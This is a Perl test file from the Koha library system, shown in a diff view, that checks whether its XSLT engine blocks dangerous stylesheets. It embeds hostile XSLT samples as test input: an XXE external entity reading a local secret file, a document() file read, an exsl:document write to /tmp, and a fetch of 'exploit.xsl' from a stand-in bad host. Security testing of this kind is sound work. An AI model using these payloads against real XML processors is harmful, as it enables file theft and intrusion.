| Line 0
          
      
      
        Link Here | 
          
            
              | 0 | -  | 1 | #!/usr/bin/perl | 
            
              |  |  | 2 |  | 
            
              | 3 | # Copyright 2019 Rijksmuseum | 
            
              | 4 | # | 
            
              | 5 | # This file is part of Koha. | 
            
              | 6 | # | 
            
              | 7 | # Koha is free software; you can redistribute it and/or modify it under the | 
            
              | 8 | # terms of the GNU General Public License as published by the Free Software | 
            
              | 9 | # Foundation; either version 3 of the License, or (at your option) any later | 
            
              | 10 | # version. | 
            
              | 11 | # | 
            
              | 12 | # Koha is distributed in the hope that it will be useful, but WITHOUT ANY | 
            
              | 13 | # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR | 
            
              | 14 | # A PARTICULAR PURPOSE.  See the GNU General Public License for more details. | 
            
              | 15 | # | 
            
              | 16 | # You should have received a copy of the GNU General Public License along | 
            
              | 17 | # with Koha; if not, write to the Free Software Foundation, Inc., | 
            
              | 18 | # 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. | 
            
              | 19 |  | 
            
              | 20 | use Modern::Perl; | 
            
              | 21 | use File::Temp qw/tempfile/; | 
            
              | 22 | use Test::More tests => 6; | 
            
              | 23 | use Test::Warn; | 
            
              | 24 |  | 
            
              | 25 | use Koha::XSLT::Base; | 
            
              | 26 | use t::lib::Mocks; | 
            
              | 27 |  | 
            
              | 28 | t::lib::Mocks::mock_config( 'koha_xslt_security', { expand_entities => 1 } ); | 
            
              | 29 | my $engine=Koha::XSLT::Base->new; | 
            
              | 30 |  | 
            
              | 31 | my $secret_file = mytempfile('Big secret'); | 
            
              | 32 | my $xslt=<<"EOT"; | 
            
              | 33 | <!DOCTYPE test [<!ENTITY secret SYSTEM "$secret_file">]> | 
            
              | 34 | <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> | 
            
              | 35 |   <xsl:output method="xml" encoding="UTF-8" version="1.0" indent="yes"/> | 
            
              | 36 |   <xsl:variable name="secret">&secret;</xsl:variable> | 
            
              | 37 |   <xsl:template match="/"> | 
            
              | 38 |       <secret><xsl:value-of select="\$secret"/></secret> | 
            
              | 39 |   </xsl:template> | 
            
              | 40 | </xsl:stylesheet> | 
            
              | 41 | EOT | 
            
              | 42 | my $xslt_file = mytempfile($xslt); | 
            
              | 43 |  | 
            
              | 44 | my $output= $engine->transform( "<ignored/>", $xslt_file ); | 
            
              | 45 | like($output, qr/Big secret/, 'external entity got through'); | 
            
              | 46 |  | 
            
              | 47 | t::lib::Mocks::mock_config( 'koha_xslt_security', { expand_entities => 0 } ); | 
            
              | 48 | $engine=Koha::XSLT::Base->new; | 
            
              | 49 | $output= $engine->transform( "<ignored/>", $xslt_file ); | 
            
              | 50 | unlike($output, qr/Big secret/, 'external entity did not get through'); | 
            
              | 51 |  | 
            
              | 52 | # Adding a document call to trigger callback for read_file | 
            
              | 53 | # Does not depend on expand_entities. | 
            
              | 54 | $xslt=<<"EOT"; | 
            
              | 55 | <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> | 
            
              | 56 |   <xsl:output method="xml" encoding="UTF-8" version="1.0" indent="yes"/> | 
            
              | 57 |   <xsl:template match="/"> | 
            
              | 58 |       <read_file><xsl:copy-of select="document('file://$secret_file')"/></read_file> | 
            
              | 59 |   </xsl:template> | 
            
              | 60 | </xsl:stylesheet> | 
            
              | 61 | EOT | 
            
              | 62 | $xslt_file = mytempfile($xslt); | 
            
              | 63 | warning_like { $output= $engine->transform( "<ignored/>", $xslt_file ); } | 
            
              | 64 |     qr/read_file called in XML::LibXSLT/, | 
            
              | 65 |     'Triggered security callback for read_file'; | 
            
              | 66 |  | 
            
              | 67 | # Trigger write_file | 
            
              | 68 | $xslt=<<"EOT"; | 
            
              | 69 | <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:exsl="http://exslt.org/common" extension-element-prefixes="exsl"> | 
            
              | 70 |   <xsl:output method="xml" encoding="UTF-8" version="1.0" indent="yes"/> | 
            
              | 71 |   <xsl:template match="/"> | 
            
              | 72 |       <exsl:document href="file:///tmp/breached.txt" omit-xml-declaration="yes" method="text"><xsl:text>Breached!</xsl:text></exsl:document> | 
            
              | 73 |   </xsl:template> | 
            
              | 74 | </xsl:stylesheet> | 
            
              | 75 | EOT | 
            
              | 76 | $xslt_file = mytempfile($xslt); | 
            
              | 77 | warning_like { $output= $engine->transform( "<ignored/>", $xslt_file ); } | 
            
              | 78 |     qr/write_file called in XML::LibXSLT/, | 
            
              | 79 |     'Triggered security callback for write_file'; | 
            
              | 80 |  | 
            
              | 81 | # Trigger read_net | 
            
              | 82 | $xslt=<<"EOT"; | 
            
              | 83 | <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> | 
            
              | 84 |   <xsl:output method="xml" encoding="UTF-8" version="1.0" indent="yes"/> | 
            
              | 85 |   <xsl:template match="/"> | 
            
              | 86 |       <xsl:copy-of select="document('http://bad.koha-community.org/dangerous/exploit.xsl')" /> | 
            
              | 87 |   </xsl:template> | 
            
              | 88 | </xsl:stylesheet> | 
            
              | 89 | EOT | 
            
              | 90 | $xslt_file = mytempfile($xslt); | 
            
              | 91 | warning_like { $output= $engine->transform( "<ignored/>", $xslt_file ); } | 
            
              | 92 |     qr/read_net called in XML::LibXSLT/, | 
            
              | 93 |     'Triggered security callback for read_net'; | 
            
              | 94 |  | 
            
              | 95 | # Check remote import (include should be similar) | 
            
              | 96 | # Trusting koha-community.org DNS here ;) | 
            
              | 97 | # This should not trigger read_net but fail on the missing import. | 
            
              | 98 | $xslt=<<"EOT"; | 
            
              | 99 | <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> | 
            
              | 100 |   <xsl:import href="http://notexpected.koha-community.org/noxsl/nothing.xsl"/> | 
            
              | 101 |   <xsl:output method="xml" encoding="UTF-8" version="1.0" indent="yes"/> | 
            
              | 102 |   <xsl:template match="/"/> | 
            
              | 103 | </xsl:stylesheet> | 
            
              | 104 | EOT | 
            
              | 105 | $xslt_file = mytempfile($xslt); | 
            
              | 106 | $engine->print_warns(1); | 
            
              | 107 | warning_like { $output= $engine->transform( "<ignored/>", $xslt_file ); } | 
            
              | 108 |     qr/I\/O warning : failed to load external entity/, | 
            
              | 109 |     'Remote import does not fail on read_net'; | 
            
              | 110 |  | 
            
              | 111 | sub mytempfile { | 
            
              | 112 |     my ( $fh, $fn ) = tempfile( SUFFIX => '.xsl', UNLINK => 1 ); | 
            
              | 113 |     print $fh $_[0]//''; | 
            
              | 114 |     close $fh; | 
            
              | 115 |     return $fn; | 
            
              | 116 | } |